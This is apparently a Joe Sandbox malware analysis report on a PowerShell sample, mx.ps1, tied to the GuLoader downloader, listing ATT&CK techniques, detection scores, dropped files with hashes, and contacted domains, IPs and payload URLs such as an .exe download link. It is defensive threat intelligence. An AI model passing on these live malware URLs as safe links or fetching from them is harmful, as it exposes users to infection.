Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Source: C:\Users\Public\u5p3.bat

2_2_0040333D

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	121 Masquerading	1 Input Capture	1 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	11 Process Injection	121 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mx.ps1	11%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\Users\Public\u5p3.bat	3%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsn12E4.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
dld.ae	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.microsoft.co	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://www.bludgumaxxlasdgur.com/rh/List%20of%20rdguquirdgud%20itdgums%20and%20sdgurvicdgus.pdf	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.oruddho.com	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.com	0%	Avira URL Cloud	safe
https://www.dld.ae/zp/zpeu.exe	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.comx	0%	Avira URL Cloud	safe
https://www.dld.ae	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dld.ae	84.16.234.51	true	false	0%, Virustotal, Browse	unknown
www.bluemaxxlaser.com	203.175.174.69	true	false		unknown
www.dld.ae	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.dld.ae/zp/zpeu.exe	false	Avira URL Cloud: safe	unknown
http://www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.671927237.000001CFBD060000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.671927237.000001CFBCF1E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.618817974.000001CFAD0B8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.oruddho.com	u5p3.bat, 00000002.00000003.595363835.000000000287C000.00000004.00000020.00020000.00000000.sdmp, bn.txt.2.dr	false	Avira URL Cloud: safe	unknown
http://www.bludgumaxxlasdgur.com/rh/List%20of%20rdguquirdgud%20itdgums%20and%20sdgurvicdgus.pdf	powershell.exe, 00000000.00000002.618817974.000001CFAD0B8000.00000004.00000800.00020000.00000000.sdmp, mx.ps1	true	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.618817974.000001CFAD0B8000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://go.microsoft.co	powershell.exe, 00000000.00000002.675724672.000001CFC4F78000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.618817974.000001CFAD0B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.618817974.000001CFAE98A000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.bluemaxxlaser.com	powershell.exe, 00000000.00000002.618817974.000001CFADFE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.618817974.000001CFADFF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.618817974.000001CFAD0B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.671927237.000001CFBD060000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.671927237.000001CFBCF1E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.618817974.000001CFAD0B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000000.00000002.618817974.000001CFAD0B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.bluemaxxlaser.comx	powershell.exe, 00000000.00000002.618817974.000001CFADFE0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.618817974.000001CFAD0B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	u5p3.bat, 00000002.00000000.584676802.000000000040A000.00000008.00000001.01000000.0000000A.sdmp, u5p3.bat, 00000002.00000002.840720490.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, u5p3.bat.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.618817974.000001CFACEB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.618817974.000001CFAD0B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dld.ae	powershell.exe, 00000000.00000002.618817974.000001CFAD8B7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
203.175.174.69	www.bluemaxxlaser.com	Singapore		24482	SGGS-AS-APSGGSSG	false
84.16.234.51	dld.ae	Germany		28753	LEASEWEB-DE-FRA-10DE	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	879707
Start date and time:	2023-06-01 12:13:09 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	mx.ps1
Detection:	MAL
Classification:	mal56.evad.winPS1@13/64@3/3
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 86.3% (good quality ratio 84.8%) Quality average: 87.4% Quality standard deviation: 21.6%
HCA Information:	Successful, ratio: 100% Number of executed functions: 65 Number of non-executed functions: 32
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Excluded IPs from analysis (whitelisted): 2.21.22.155, 2.21.22.179, 23.36.224.131
Excluded domains from analysis (whitelisted): ssl.adobe.com.edgekey.net, armmf.adobe.com, acroipm2.adobe.com.edgesuite.net, e4578.dscb.akamaiedge.net, a122.dscd.akamai.net, ctldl.windowsupdate.com, acroipm2.adobe.com
Execution Graph export aborted for target powershell.exe, PID 6692 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:14:25	API Interceptor	42x Sleep call for process: powershell.exe modified
12:14:40	API Interceptor	1x Sleep call for process: RdrCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
203.175.174.69	zpeu.exe	Get hash	malicious	GuLoader	Browse	bluemaxxlaser.com/rh/rheu.bin
203.175.174.69	as.ps1	Get hash	malicious	GuLoader	Browse	www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf
84.16.234.51	as.ps1	Get hash	malicious	GuLoader	Browse
84.16.234.51	RFQ - Scan36711006.exe	Get hash	malicious	AgentTesla, zgRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.bluemaxxlaser.com	as.ps1	Get hash	malicious	GuLoader	Browse	203.175.174.69

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SGGS-AS-APSGGSSG	zpeu.exe	Get hash	malicious	GuLoader	Browse	203.175.174.69
	as.ps1	Get hash	malicious	GuLoader	Browse	203.175.174.69
	Fe7MaP3DNP.elf	Get hash	malicious	Mirai	Browse	103.14.247.10
	Demon.x86.elf	Get hash	malicious	Unknown	Browse	103.14.247.55
	tebjuOp0kK.elf	Get hash	malicious	Mirai	Browse	103.14.247.35
	7Hhy4dfkst.elf	Get hash	malicious	Mirai	Browse	103.14.247.31
	5HzazUnnF6.elf	Get hash	malicious	Mirai	Browse	103.14.247.75
	4M3ACl2k2v.elf	Get hash	malicious	Unknown	Browse	103.14.247.47
	wget.elf	Get hash	malicious	Unknown	Browse	103.14.247.29
	chB6z5L2GD.elf	Get hash	malicious	Mirai	Browse	103.14.247.10
	86iDRbpkXb.elf	Get hash	malicious	Mirai	Browse	103.14.247.72
	yC34ftIroi.elf	Get hash	malicious	Mirai	Browse	103.14.247.68
	http://singaporeoptometricassociation.com/	Get hash	malicious	Unknown	Browse	203.175.162.79
	PiuV0y8Fw8.elf	Get hash	malicious	Mirai	Browse	103.14.247.49
	BvZi2Dj3LS.elf	Get hash	malicious	Mirai	Browse	103.14.247.26
	q44S0kQ3wZ.exe	Get hash	malicious	AgentTesla, Vidar	Browse	203.175.174.68
	SecuriteInfo.com.Win32.PWSX-gen.18409.25600.exe	Get hash	malicious	AgentTesla	Browse	203.175.168.182
	#U260e#Ufe0f E-Fax-Invoice.htm	Get hash	malicious	HTMLPhisher	Browse	203.175.162.6
	https://faxcorporation1.od2.vtiger.com/pages/new_fax_receieved	Get hash	malicious	HTMLPhisher	Browse	203.175.162.6
	aJF1hL1hAJ.dll	Get hash	malicious	Wannacry	Browse	124.6.37.129

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	as.ps1	Get hash	malicious	GuLoader	Browse	84.16.234.51
	file.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	Cobro_Juridico_Historial_de_pago.vbs	Get hash	malicious	Njrat, PasteDownloader	Browse	84.16.234.51
	PO20230247.xla.xlsx	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.ps1	Get hash	malicious	Unknown	Browse	84.16.234.51
	main.ps1	Get hash	malicious	KDOT TOKEN GRABBER	Browse	84.16.234.51
	AEJR1569.js	Get hash	malicious	NetSupport RAT	Browse	84.16.234.51
	https://docs.google.com/drawings/d/1yyXXrwkMe93YDIykPC-d3JWZ3X37agPJMgGC3eIiv0w/preview	Get hash	malicious	HTMLPhisher	Browse	84.16.234.51
	npp.8.5.3.Installer.x64342423423423424242423423424.bat	Get hash	malicious	Unknown	Browse	84.16.234.51
	Pagamento.js	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	84.16.234.51
	rBillofLading05-25-2023.exe	Get hash	malicious	AveMaria	Browse	84.16.234.51
	SCAN_DOC_003930_doc.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	02705399.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	02705399.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	HIOY0568.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	Voucher_Booking_Reservation_Detail_09888846348.vbs	Get hash	malicious	AsyncRAT	Browse	84.16.234.51
	06472899.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.js	Get hash	malicious	Unknown	Browse	84.16.234.51

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll	zpeu.exe	Get hash	malicious	GuLoader	Browse
	zpeu.exe	Get hash	malicious	GuLoader	Browse
	as.ps1	Get hash	malicious	GuLoader	Browse
	KwP6qU3cQ8.exe	Get hash	malicious	FormBook, GuLoader	Browse
	KwP6qU3cQ8.exe	Get hash	malicious	GuLoader	Browse
	DB948GHBNJI.xlsx	Get hash	malicious	GuLoader	Browse
	Order-new world foods.xlsx	Get hash	malicious	GuLoader	Browse
	8cAZneRN6B.exe	Get hash	malicious	FormBook, GuLoader	Browse
	8cAZneRN6B.exe	Get hash	malicious	GuLoader	Browse
	fr34veeTGm.exe	Get hash	malicious	FormBook, GuLoader	Browse
	fr34veeTGm.exe	Get hash	malicious	GuLoader	Browse
	ShipmentReceipt9521368040.xlsx	Get hash	malicious	GuLoader	Browse
	njUIPPVrud.exe	Get hash	malicious	FormBook, GuLoader	Browse
	njUIPPVrud.exe	Get hash	malicious	GuLoader	Browse
	ShipmentReceipt93213628045.xlsx	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\Public\u5p3.bat

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	344681
Entropy (8bit):	6.7218967633534605
Encrypted:	false
SSDEEP:	6144:bmOPbtybqh+/fDv9vE520B36t/21/F99OjpiN6:ft2W+nz9s520j999OS6
MD5:	9DCA43CB15D97693D2DE73683804C5C7
SHA1:	3BF61BC542DB16E0A045505C2868CD12CFCAC769
SHA-256:	C3AC750A23FB48EEE9E1CE2D9BD59AADBC190A1DD36AFBDC9F5C39EEB7F87756
SHA-512:	26A0870AE04D5939C410F31B1755D0AE37658921536D6C6A02FA59003B5CF3AD1FC5D4DA919DD1B6D58B451210BD46084E74FD44C8988065FEE78B88EB122549
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...'.uY.................d...*......=3............@.......................................@..........................................................................................................................................................text...mb.......d.................. ..`.rdata...............h..............@..@.data................\|..............@....ndata...P...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\05349744be1ad4ad_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	205
Entropy (8bit):	5.590336342192793
Encrypted:	false
SSDEEP:	3:m+lvns8RzYOCGLvHkWBGKuKjXKLNjKLuV0fKTqi7mktFNBiTFJrqzOJkvP5m1:men9YOFLvEWdM9Qtyt3Bi7Z+P41
MD5:	1F17A5F884553F388B738D6348DAEA79
SHA1:	E312FB63FC530464FCFC894104D543AD28B59F24
SHA-256:	7A32F6E3DF821E0F6B641F25D353FE79E0D4E202C31317F449C6C5F6B317B810
SHA-512:	E823A4921B280343ADBD04482793D60240E6B2BB79AD0565AB31C4B8E637E881B4786EC1B0440A894FACCF7A8DC0ECFE50C44E8093A167CEC44FF986D814668A
Malicious:	false
Preview:	0\r..m......M..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/reviews/js/plugin.js ....[/....."#.D.7.....A.A..Eo......^...............d.{v.^.G...d.W.:...P..k%..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0786087c3c360803_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	174
Entropy (8bit):	5.562019634990087
Encrypted:	false
SSDEEP:	3:m+lF9NX6v8RzYOCGLvHktWV0wpmktHlle98fZe/O+/rkwGhkg4m1:mi9NqEYOFLvEk/tS8Be7Ywcr1
MD5:	5029706F1488EA245B32F3836DA68F8D
SHA1:	96B5CCB47DDBF67CEC4E9845E9F2D5AA38CF7635
SHA-256:	C3302AEC8FF8598DA5C70B3E994B26C957AAC8B72A087A8D44A16189EF939A2B
SHA-512:	1E01795C363173E6FA0E550077C998879C25E951B02F4CAA80670AB52C1196A00CF9213CCA8AB9703A5CA56D3F83B3A72EC59E50E730AD3A7E0810EF393FACF0
Malicious:	false
Preview:	0\r..m............,....._keyhttps://rna-resource.acrobat.com/init.js ...p..[/....."#.D.......A.A..Eo......<............1.x.'.vI..*\|Z..o...+.4....0..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0998db3a32ab3f41_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	5.574115370222055
Encrypted:	false
SSDEEP:	6:mMyEYOFLvEWdVFLBKFjVFLBKFlQhuedtqot/RlUoSjGY1:DyeRVFAFjVFAFGdtZlUo6
MD5:	567613FF456142A3B92E0CD855A263B4
SHA1:	BC73B44E1D25DA43903DE3A4EB31D871954B614E
SHA-256:	A0CB4F680ABFAB388298AF9B592CF56A0B908B7546FFEA72045132986F79C849
SHA-512:	B5670EE541D43169ECC0DAE919199AD0E58B6070F91B3C90108AD44E93FF7F62300C35330EAC901CEF15009B342D0FC9243BE9597ADE2D040ED4FAEF177D75F5
Malicious:	false
Preview:	0\r..m......v...n......._keyhttps://rna-resource.acrobat.com/static/js/plugins/tracked-send/js/plugins/tracked-send/js/home-view/selector.js .....[/....."#.D.......A.A..Eo.........I..........hvDO.N.t@.....n.*...... ....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0ace9ee3d914a5c0_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.653634579453487
Encrypted:	false
SSDEEP:	3:m+lYbtLA8RzYOCGLvHkWBGKuKjXKLHGPmXKl5g9JMCv8P3b780WktyKjuiZmRulV:mNtVYOFLvEWdFCi5RsqrtxuiWulHyA1
MD5:	34578C31F906EFD835C86DBDF28ACE13
SHA1:	B32A461CF401745990C1FC8A411F94F7C7B866A9
SHA-256:	F8E8EAFB09372B317DB8A42DD5B5F0FC93507AE637AC237903FFD072A07D1907
SHA-512:	DBD7A277711B1F8D24D448144C00AB08C13727C57BB25A9CDD81C98F4E860303DBB2EB8C65066F92C9897D3F90CB1F0CF7FF1A63215CEAF2C1567C6F21A3B2C4
Malicious:	false
Preview:	0\r..m......h.....'....._keyhttps://rna-resource.acrobat.com/static/js/plugins/aicuc/js/plugins/rhp/exportpdf-rna-tool-view.js ..cM..[/....."#.DO......A.A..Eo........1...........8 P..a...R..Y....7.@..2Dm{..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0f25049d69125b1e_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.52866772594653
Encrypted:	false
SSDEEP:	6:m+yiXYOFLvEWd7VIGXVuxO9tZbVyh9PT41:pyixRuzKfV41T
MD5:	F985C11AC16311F7125E7CD13B436568
SHA1:	A58C92DB64C92552F055BAD1BFECAA08B2884E45
SHA-256:	B80056690EB742C5F7653F96C8DBAB9F2822FFA376F6F8C4CF597D2BAEB19DD9
SHA-512:	E8F8539DF0063B2D0C6C83351BC61A6E614575EEFC612351FB1B08FBD3E26BCC483E0D772492992606A4E28FF1E64BCD14642066667253BF69F676084503A4FF
Malicious:	false
Preview:	0\r..m......R...kP]g...._keyhttps://rna-resource.acrobat.com/static/js/plugins/app-center/js/selector.js .bt...[/....."#.DAH.....A.A..Eo.......P.e........k.Q.....-_..y.....O...>..1....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\230e5fe3e6f82b2c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	5.606333439113134
Encrypted:	false
SSDEEP:	3:m+lifll08RzYOCGLvHkWBGKuKjXKoyNjXKLuVR68r73Wkt7Bl5lYo2sZI8xeGvPo:mvYOFLvEWdhwjQp8Pjt73ZIl6P41
MD5:	EBF0EDED7BF080874201D8175E813AE1
SHA1:	6619E90816B9924BBC3F72529CFE278095D5745E
SHA-256:	349987794B516AD234C6791E5519A229EBE12345FABB3407773E62DDE52AC873
SHA-512:	BB39369D141F0771BDBC771504EC31F060FCDB137658DA546D9ACA7FB88823B7DD5AE4A181919A10757AEA46FAC296C8B098DE183B635100EF4181F7C3D2031E
Malicious:	false
Preview:	0\r..m......X.....V....._keyhttps://rna-resource.acrobat.com/static/js/plugins/sign-services-auth/js/plugin.js ......[/....."#.D.......A.A..Eo.........>.........].>....uUf..N...k......c..l.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\2798067b152b83c7_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	5.565659732406691
Encrypted:	false
SSDEEP:	3:m+lZd8RzYOCGLvHkWBGKuKjXKX7KoQRA/KVdKLuV3k3nQi4LktuzH/9cyxMtv9Ej:mJYOFLvEWdGQRQOdQvQetmD6g1
MD5:	68EB2442F869BBFA001455D1D83C3BF7
SHA1:	68296DD288ECE37533EFCF197E09AD21788F42F5
SHA-256:	4AC89A8D159F8602147737B82D36C4AB13F50AC6E5F129393FF45F13C93473C3
SHA-512:	E4E718C835EF8C69A1AD56082B0129412FA5F11E2848E98ED5F9D7C3BA26C891BF4B44509E884938C5381A36A72A0027F2462C0C12DAD23C642B08ACB1CCB940
Malicious:	false
Preview:	0\r..m......Q..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-computer/js/plugin.js ..!...[/....."#.D.......A.A..Eo....................c..y/L....\|y.n..C/I.....X7-ne.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\2a426f11fd8ebe18_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.5654883065407175
Encrypted:	false
SSDEEP:	3:m+lLp08RzYOCGLvHkfaMMuV2YIKlW1Ukti6tNQMWqg4nRb7om5m1:mOYOFLvECML2ilW19tauR/41
MD5:	B6A5ABE7FABFCB5C2B4DB745454979F3
SHA1:	08F6E47314F7A488A73AC4130DBB771FEE6279DF
SHA-256:	DD18260BBDF427A3F5791DA833FA84DA817E01F159D22C7C642B38709AB726E6
SHA-512:	78F4F7D83919B0BB85D57FAEAE80433B2B5A9A43F216A3FB57517E67576AA76A9B16498D817CDED016AFE7ECD06F26D01F0181A28EF6B73BA4E63246D6BDAD53
Malicious:	false
Preview:	0\r..m......3....<lb...._keyhttps://rna-resource.acrobat.com/base_uris.js ...p..[/....."#.D......A.A..Eo........<..........y...L<?W.Xi..A\Q3...J.}...d..~G.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\3a4ae3940784292a_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.535968560319436
Encrypted:	false
SSDEEP:	6:m4fPYOFLvEWdtuiDqQtWBby0zBUKSAA1:pRz4Bb
MD5:	C21E2428E82911495C2A341BBD8F26B4
SHA1:	F8C7C504F81519D6B68299688170D6A2A5F319CD
SHA-256:	98CDE2CA5948D4062F324CAE2F4DFFF2295F1B0792C1CA0314E8C7F17E213DB2
SHA-512:	77314DDAC0C9C712BCD69361E5FF9F92494C9217AC393AB7BB48C48C4972F770CA621609C5F1A07512B681E08F943B8144796535F63CDB05DCABAB75166D3FCC
Malicious:	false
Preview:	0\r..m......V..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/search-summary/js/selector.js ..]...[/....."#.D.......A.A..Eo......+\..........Q..E.=....=h`t..t..3%A.F$..w..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\4a0e94571d979b3c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	177
Entropy (8bit):	5.514651309079122
Encrypted:	false
SSDEEP:	3:m+l64HXlA8RzYOCGLvHkjXMLOWFvpNWi4kUktFMd1dn76KohyP5m1:md4HXXYOFLvEjMSWFvSi4k9t2jUdyP41
MD5:	60ACBB6A481EABA458EA79CA69D8F66A
SHA1:	6421B0A08C76DE463170FF361D46DBF36EF1A7A3
SHA-256:	972B2602CF82510EFC7F4B24DF4DFA5DA2A8B1BE5A083E7EFCB3D55773D0C141
SHA-512:	7A5CB45C8E2950ECC3E245AA66EF744B4917110A84E3D899C9490F7C9A796A0F5E73C55EF101A6E31FB6771DEDED9902F9ADEC8549945178FC29E608350EA9B5
Malicious:	false
